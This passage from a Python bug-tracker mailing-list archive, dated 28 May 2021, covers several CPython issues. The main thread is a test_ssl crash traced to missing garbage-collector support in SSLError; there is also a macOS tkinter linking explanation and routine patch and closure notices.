"/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/runtest.py", line 154 in _runtest File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/runtest.py", line 194 in runtest File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/main.py", line 321 in rerun_failed_tests File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/main.py", line 698 in _main File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/main.py", line 641 in main File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/libregrtest/main.py", line 719 in main File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/__main__.py", line 2 in File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/runpy.py", line 86 in _run_code File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/runpy.py", line 196 in _run_module_as_main Extension modules: _testcapi (total: 1) make: *** [Makefile:1256: buildbottest] Segmentation fault (core dumped) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:21:10 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 28 May 2021 20:21:10 +0000 Subject: [issue30495] IDLE: modernize textview module In-Reply-To: <1495941740.56.0.621655501188.issue30495@psf.upfronthosting.co.za> Message-ID: <1622233270.43.0.259583319484.issue30495@roundup.psfhosted.org> Tal Einat added the comment: Ping? ISTM this could be considered done. ---------- nosy: +taleinat _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:29:13 2021 From: report at bugs.python.org (David Bolen) Date: Fri, 28 May 2021 20:29:13 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622233753.5.0.904635380982.issue44252@roundup.psfhosted.org> David Bolen added the comment: The win10 buildbot appears to have this failure consistently (100%) on the 3.10 branch. The first such failure appears to be yesterday (https://buildbot.python.org/all/#/builders/600/builds/79), following commit da8097aaf5a55c23f5b5ddbeffc2d90d06e00d93 - GC changes for mmap. I'm not yet having much luck reproducing manually (which is perplexing given the consistent failures during the automatic tests). I did see one test run where 8 other tests failed instead, but haven't been able to repeat. The 3.x branch also seems to be doing fine on the buildbot while including the same patch that was cherry picked for 3.10. So this could be a false lead, but it might be another place to review. Or for anyone who can at least sporadically get a failure (I'm still trying), something to try reverting. ---------- nosy: +db3l _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:42:43 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 20:42:43 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622234563.24.0.569374438152.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I'm marking this as a release blocker for the next beta. ---------- priority: -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 16:54:32 2021 From: report at bugs.python.org (Joannah Nanjekye) Date: Fri, 28 May 2021 20:54:32 +0000 Subject: [issue44045] canonicalize "upper-case" -> "uppercase"; "lower-case" -> "lowercase" In-Reply-To: <1620197702.64.0.842506746394.issue44045@roundup.psfhosted.org> Message-ID: <1622235272.06.0.885829157452.issue44045@roundup.psfhosted.org> Joannah Nanjekye added the comment: New changeset 2138b2edaf5acb3b9c162a9ba620923e286239a8 by J?rgen Gmach in branch 'main': bpo-44045: fix spelling of uppercase vs upper-case (GH-25985) https://github.com/python/cpython/commit/2138b2edaf5acb3b9c162a9ba620923e286239a8 ---------- nosy: +nanjekyejoannah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 17:35:55 2021 From: report at bugs.python.org (Kevin Follstad) Date: Fri, 28 May 2021 21:35:55 +0000 Subject: [issue24132] Direct sub-classing of pathlib.Path In-Reply-To: <1430890013.04.0.304568332905.issue24132@psf.upfronthosting.co.za> Message-ID: <1622237755.76.0.895515905536.issue24132@roundup.psfhosted.org> Change by Kevin Follstad : ---------- nosy: +kfollstad nosy_count: 11.0 -> 12.0 pull_requests: +25030 pull_request: https://github.com/python/cpython/pull/26438 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 17:48:02 2021 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 May 2021 21:48:02 +0000 Subject: [issue43893] typing.get_type_hints does not accept type annotations with leading whitespaces In-Reply-To: <1618923799.18.0.0357006810909.issue43893@roundup.psfhosted.org> Message-ID: <1622238482.94.0.567707576444.issue43893@roundup.psfhosted.org> Guido van Rossum added the comment: Also at this point it's too late to get this into 3.10 (given that we're still debating this it's clearly not a simple bugfix). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 17:49:39 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 21:49:39 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622238579.03.0.808284393945.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Maybe the problem is related to Python frames. I think Mark Shannon made changes related to frames recently in 3.10 and main branches. It's strange that I got such error: File "C:\vstinner\python\main\lib\unittest\result.py", line 205, in _is_relevant_tb_level return '__unittest' in tb.tb_frame.f_globals TypeError: argument of type 'NoneType' is not iterable It's also strange that two crashes occurred while reading a traceback: Windows fatal exception: access violation Current thread 0x000009e0 (most recent call first): File "D:\a\1\s\lib\linecache.py", line 63 in checkcache File "D:\a\1\s\lib\traceback.py", line 375 in extract File "D:\a\1\s\lib\traceback.py", line 494 in __init__ File "D:\a\1\s\lib\traceback.py", line 132 in format_exception File "D:\a\1\s\lib\test\test_ssl.py", line 262 in handle_error and: Fatal Python error: Segmentation fault Current thread 0x00007f9de2d1f640 (most recent call first): File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/linecache.py", line 72 in checkcache File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 375 in extract File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 494 in __init__ File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/traceback.py", line 132 in format_exception File "/home/buildbot/buildarea/3.10.cstratak-fedora-stable-x86_64/build/Lib/test/test_ssl.py", line 262 in handle_error Extract of test_ssl.py: def handle_error(prefix): exc_format = ' '.join(traceback.format_exception(*sys.exc_info())) ... Maybe sometimes somehow, frames are invalid. Maybe test_ssl/test_httplib only makes the crash more likely, but there is a regression to frames somewhere. ---------- nosy: +Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 17:56:15 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 28 May 2021 21:56:15 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622238975.9.0.29635564121.issue44253@roundup.psfhosted.org> Ned Deily added the comment: tkinter does not find Tk; the linker at build time (ld) and usually the dynamic linker (dyld) at run time do all the work. Typically on macOS, the linkers prefer to dynamically link to libraries, deferring the decision to dyld at run time exactly which dynamic library will be linked to rather than statically linking in a library at build time. The expected shared library name (or path) is recorded at build time into the executables generated. The --with-tcltk-includes Python ./configure option is passed at build time to the C compiler chain to add the directories(s) for Tcl and Tk header files, if not otherwise found, and the --with-tcltk-libs option gives the locations of the libraries to add directories with Tcl and Tk libraries for ld to link against including generating the shared library file paths in the binaries produced. In a standard Python build, tkinter has a Python component that calls a private C-language extension _module helper named _tkinter that does all the C-level calls to Tk and Tkinter. You can find the file name of the _tkinter extension module by importing it in the interpreter and looking at its __file__ attribute. With that you can use the Xcode / Command Line Tools "otool" utility to examine the binary to find the shared library names it is linked with and expecting to find at run time. An example with a current python.org macOS Python: $ /usr/local/bin/python3.9 Python 3.9.5 (v3.9.5:0a7dcbdb13, May 3 2021, 13:05:53) [Clang 12.0.5 (clang-1205.0.22.9)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import _tkinter >>> _tkinter.__file__ '/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload/_tkinter.cpython-39-darwin.so' >>> ^D $ otool -L '/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload/_tkinter.cpython-39-darwin.so' /Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload/_tkinter.cpython-39-darwin.so: /Library/Frameworks/Python.framework/Versions/3.9/lib/libtcl8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /Library/Frameworks/Python.framework/Versions/3.9/lib/libtk8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1292.100.5) In this case, the libtcl and libtk shared libraries are included within the python.org distribution installed in /Library/Frameworks. Another example with a MacPorts python built from source: $ otool -L $(/opt/macports/bin/python3.9 -c "import _tkinter;print(_tkinter.__file__)") /opt/macports/Library/Frameworks/Python.framework/Versions/3.9/lib/python3.9/site-packages/_tkinter.cpython-39-darwin.so: /opt/macports/lib/libtcl8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /opt/macports/lib/libtk8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1292.100.5) In this case, the _tkinter module was linked with libtcl and libtk included in the MacPorts distribution. Unlike many other platforms, the shared library names seen in macOS binaries are usually absolute path names although they can be relative paths. It is possible to use environment variables to override the default search paths used by dyld at run time and it is also possible to ask dyld to display debug info about exactly what files it ends up using, among other things. See the dyld man page for lots of useful info. An example: $ DYLD_PRINT_LIBRARIES=1 /opt/macports/bin/python3.9 -c "import _tkinter;print(_tkinter.__file__)" 2>&1 | grep 'libt' dyld: loaded: /opt/macports/lib/libtcl8.6.dylib dyld: loaded: <403FAC32-CB24-3ED3-B680-02AE4FBB11A7> /opt/macports/lib/libtk8.6.dylib Hope this helps! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:00:20 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 22:00:20 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622239220.41.0.453980155105.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: Oh, I forgot to mention that I saw the "TypeError: argument of type 'NoneType' is not iterable" error on the main branch, not on the 3.10 branch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:09:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 22:09:55 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622239795.99.0.633810250056.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: I remove Mark from the issue. I may open later a different issue for tb_frame.f_globals=None, but it's unrelated to this bug. I can reproduce the issue with a small hack to make GC collections make likely: diff --git a/Lib/site.py b/Lib/site.py index 939893eb5e..4103792e84 100644 --- a/Lib/site.py +++ b/Lib/site.py @@ -672,3 +672,6 @@ def exists(path): if __name__ == '__main__': _script() + +import gc +gc.set_threshold(5) With this patch, it becomes trivial to reproduce the crash on Linux: $ ./python -m test test_ssl -m test_ssl_cert_verify_error -v (...) Fatal Python error: Segmentation fault Current thread 0x00007fd0f72a8640 (most recent call first): File "/home/vstinner/python/3.10/Lib/traceback.py", line 132 in format_exception File "/home/vstinner/python/3.10/Lib/test/test_ssl.py", line 262 in handle_error File "/home/vstinner/python/3.10/Lib/test/test_ssl.py", line 2401 in wrap_conn (...) So the problem is that _ssl.SSLError type traverse function is NULL. ---------- nosy: -Mark.Shannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:16:31 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 May 2021 22:16:31 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622240191.67.0.291857608034.issue44252@roundup.psfhosted.org> STINNER Victor added the comment: For me, there are different issues: * PyType_FromSpec() must fail if a type is declared with Py_TPFLAGS_HAVE_GC but its tp_traverse function is NULL. * _ssl.SSLError must implement the tp_traverse slot Moreover, in debug mode, PyObject_GC_Track() calls the traverse function to ensure that it's safe to call it. PyObject_GC_Track() must crash of tp_traverse is NULL. If it didn't track, it means that the _ssl.SSLError instance was not tracked by the GC. Is that ok? Objects implementing the GC protocol should be tracked by the GC, no? An exception is *likely* to be part of a reference cycle because it contains a traceback which contains frames which contains variables, and one variable can be the exception. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:19:05 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 22:19:05 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622240345.68.0.378823118226.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: The regression was introduced by https://github.com/python/cpython/commit/dcb8786a9848516e823e090bb36079678913d8d3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:21:15 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 28 May 2021 22:21:15 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622240475.73.0.155347912905.issue44253@roundup.psfhosted.org> Ned Deily added the comment: Correction: "In a standard Python build, tkinter has a Python component that calls a private C-language extension module helper named _tkinter that does all the C-level calls to Tk and Tcl [not Tkinter!]." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:23:33 2021 From: report at bugs.python.org (David Bolen) Date: Fri, 28 May 2021 22:23:33 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622240613.24.0.679700463318.issue44252@roundup.psfhosted.org> David Bolen added the comment: Oddly, it turns out it's the "--junit-xml" parameter during buildbot tests that is making it reproducible there. Pass: python_d -m test.regrtest test_ssl Fail: python_d -m test.regrtest --junit-xml out.xml test_ssl The latter consistently fails all of the time for me manually. I also found what I think is the same commit Pablo just referenced (albeit the cherry pick version on the 3.10 branch) - ea47a8a71ad56ec349f02bf8c6a1d3bf04acabcc. Reverting just that commit as part of the latest 3.10 source passes. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:27:46 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 22:27:46 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622240866.68.0.781955507367.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Easier reproducer: >>> import gc >>> gc.get_referrers(x) AddressSanitizer:DEADLYSIGNAL ================================================================= ==17017==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000000000 bp 0x7fff93f8f7a0 sp 0x7fff93f8f758 T0) ==17017==Hint: pc points to the zero page. ==17017==The signal is caused by a READ memory access. ==17017==Hint: address points to the zero page. #0 0x0 () AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV () ==17017==ABORTING ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:44:46 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 22:44:46 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622241886.78.0.472717243946.issue44252@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +25031 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26439 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:50:28 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 28 May 2021 22:50:28 +0000 Subject: [issue44254] Change turtledemo button colors In-Reply-To: <1622148598.71.0.661804275913.issue44254@roundup.psfhosted.org> Message-ID: <1622242228.19.0.280013859384.issue44254@roundup.psfhosted.org> Ned Deily added the comment: One quick comment: one shouldn't assume what colors are being used on current macOS systems and a current Tk, like on macOS 11 Big Sur and Tk 8.6.11. The foreground and background colors can depend on what system appearance is selected by the user (System Preferences -> General -> Appearance: Light/Dark/Auto). Changing the system appearance to Dark causes the Turtle Demo buttons to have a darker background and so the white text labels are now quite visible. I don't know what the best solution is but it shouldn't be based on the assumption that the colors are fixed. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 18:54:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 22:54:56 +0000 Subject: [issue21531] doc: asyncore does not support UDP In-Reply-To: <1400470101.73.0.899149180495.issue21531@psf.upfronthosting.co.za> Message-ID: <1622242496.99.0.931886303823.issue21531@roundup.psfhosted.org> Change by Irit Katriel : ---------- assignee: -> docs at python components: +Documentation keywords: +easy nosy: +docs at python title: Sending a zero-length UDP packet to asyncore invokes handle_close() -> doc: asyncore does not support UDP versions: +Python 3.10, Python 3.11, Python 3.9 -Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:00:02 2021 From: report at bugs.python.org (Irit Katriel) Date: Fri, 28 May 2021 23:00:02 +0000 Subject: [issue12210] test_smtplib: intermittent failures on FreeBSD In-Reply-To: <1306700978.51.0.107374125859.issue12210@psf.upfronthosting.co.za> Message-ID: <1622242802.58.0.698851310274.issue12210@roundup.psfhosted.org> Irit Katriel added the comment: 2.7-only issue. ---------- nosy: +iritkatriel resolution: -> out of date stage: needs patch -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:01:06 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 23:01:06 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1622242866.32.0.824608942693.issue44206@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +pablogsal nosy_count: 5.0 -> 6.0 pull_requests: +25032 pull_request: https://github.com/python/cpython/pull/26440 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:14:40 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 23:14:40 +0000 Subject: [issue44206] Add a version number to dict keys. In-Reply-To: <1621611493.74.0.261277793426.issue44206@roundup.psfhosted.org> Message-ID: <1622243680.38.0.783907417921.issue44206@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 1a672a5908736e44a8a25a99b3a116b085f12aa8 by Pablo Galindo in branch 'main': bpo-44206: Fix compiler warnings in dictobject.c (GH-26440) https://github.com/python/cpython/commit/1a672a5908736e44a8a25a99b3a116b085f12aa8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:29:56 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 23:29:56 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622244596.65.0.97750912689.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 8b4312b909abff3100c1f18fb3efa5c25617fee3 by Pablo Galindo in branch 'main': bpo-44252: Correctly implement gc support for SSLError objects (GH-26439) https://github.com/python/cpython/commit/8b4312b909abff3100c1f18fb3efa5c25617fee3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:30:10 2021 From: report at bugs.python.org (miss-islington) Date: Fri, 28 May 2021 23:30:10 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622244610.17.0.0461687727348.issue44252@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +25033 pull_request: https://github.com/python/cpython/pull/26441 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:47:50 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 28 May 2021 23:47:50 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622245670.29.0.434766335603.issue44252@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset a7aa105702998fea7f6671b7358144146e4bc47f by Miss Islington (bot) in branch '3.10': bpo-44252: Correctly implement gc support for SSLError objects (GH-26439) (GH-26441) https://github.com/python/cpython/commit/a7aa105702998fea7f6671b7358144146e4bc47f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 19:48:19 2021 From: report at bugs.python.org (Adam Stewart) Date: Fri, 28 May 2021 23:48:19 +0000 Subject: [issue44253] tkinter searches for tk.tcl in wrong directory In-Reply-To: <1622140840.05.0.780709147987.issue44253@roundup.psfhosted.org> Message-ID: <1622245699.83.0.270500808795.issue44253@roundup.psfhosted.org> Adam Stewart added the comment: Thanks, that does help. Spack uses both `--with-tcltk-includes` and `--with-tcltk-libs`, and actually RPATHs the libraries in place. According to otool, that is all working fine: $ otool -L /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/lib-dynload/_tkinter.cpython-38-darwin.so /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/python-3.8.10-fkj5vkn3tpottyv6yqoj5ucz2emstpvo/lib/python3.8/lib-dynload/_tkinter.cpython-38-darwin.so: /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tcl-8.6.11-n7nea33urrk25rkoqpsc2tdcgai5u4z2/lib/libtcl8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /Users/Adam/spack/opt/spack/darwin-catalina-x86_64/apple-clang-12.0.0/tk-8.6.11-ydmhrbboheucxsuhrnyoxqaihgna5dfe/lib/libtk8.6.dylib (compatibility version 8.6.0, current version 8.6.11) /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1281.100.1) So like you initially thought, the problem isn't that tkinter/_tkinter can't find tcl, it's that tcl can't find tk. I'll talk more with the tcl developers and see how tcl is trying to find tk. Thanks for all of your help! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 20:00:31 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 00:00:31 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases Message-ID: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : We currently don't properly document how PyType_FromSpecWithBases behaves if the class is inheriting from some other class with GC support. ---------- messages: 394706 nosy: pablogsal priority: normal severity: normal status: open title: Better explain the GC contract for PyType_FromSpecWithBases _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 20:01:08 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 00:01:08 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622246468.79.0.190376057844.issue44263@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +25034 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26442 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 20:11:19 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 00:11:19 +0000 Subject: [issue44252] test_ssl and test_httplib.HTTPSTest crash randomly with "Windows fatal exception: access violation" on Windows In-Reply-To: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org> Message-ID: <1622247079.7.0.590810115318.issue44252@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- priority: release blocker -> resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 22:25:33 2021 From: report at bugs.python.org (Kyle Stanley) Date: Sat, 29 May 2021 02:25:33 +0000 Subject: [issue39995] test_concurrent_futures: ProcessPoolSpawnExecutorDeadlockTest.test_crash() fails with OSError: [Errno 9] Bad file descriptor In-Reply-To: <1584464514.72.0.0566985296328.issue39995@roundup.psfhosted.org> Message-ID: <1622255133.23.0.370293399077.issue39995@roundup.psfhosted.org> Kyle Stanley added the comment: Thanks for closing up the issue, Victor :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 22:57:46 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 02:57:46 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622257066.92.0.560382327252.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +25035 pull_request: https://github.com/python/cpython/pull/26443 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 22:57:51 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 29 May 2021 02:57:51 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622257071.17.0.230071387884.issue44263@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +25036 pull_request: https://github.com/python/cpython/pull/26444 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 22:57:53 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 02:57:53 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622257073.25.0.0640594463881.issue44263@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 8b55bc3f93a655bc803bff79725d5fe3f124e2f0 by Pablo Galindo in branch 'main': bpo-44263: Better explain the GC contract for PyType_FromSpecWithBases (GH-26442) https://github.com/python/cpython/commit/8b55bc3f93a655bc803bff79725d5fe3f124e2f0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:04:01 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:04:01 +0000 Subject: [issue26444] Fix 2 typos on ElementTree docs In-Reply-To: <1456505929.01.0.140412198941.issue26444@psf.upfronthosting.co.za> Message-ID: <1622257441.53.0.0853454716772.issue26444@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +pablogsal nosy_count: 4.0 -> 5.0 pull_requests: +25037 pull_request: https://github.com/python/cpython/pull/26445 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:10:49 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:10:49 +0000 Subject: [issue26444] Fix 2 typos on ElementTree docs In-Reply-To: <1456505929.01.0.140412198941.issue26444@psf.upfronthosting.co.za> Message-ID: <1622257849.15.0.251125570926.issue26444@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +25039 pull_request: https://github.com/python/cpython/pull/26445 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:10:49 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:10:49 +0000 Subject: [issue44263] Better explain the GC contract for PyType_FromSpecWithBases In-Reply-To: <1622246431.18.0.725069449061.issue44263@roundup.psfhosted.org> Message-ID: <1622257849.06.0.475358557594.issue44263@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- pull_requests: +25038 pull_request: https://github.com/python/cpython/pull/26445 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 28 23:10:36 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 29 May 2021 03:10:36 +0000 Subject: [issue26444] Fix 2 typos on ElementTree docs In-Reply-To: <1456505929.01.0.140412198941.issue26444@psf.upfronthosting.co.za> Message-ID: 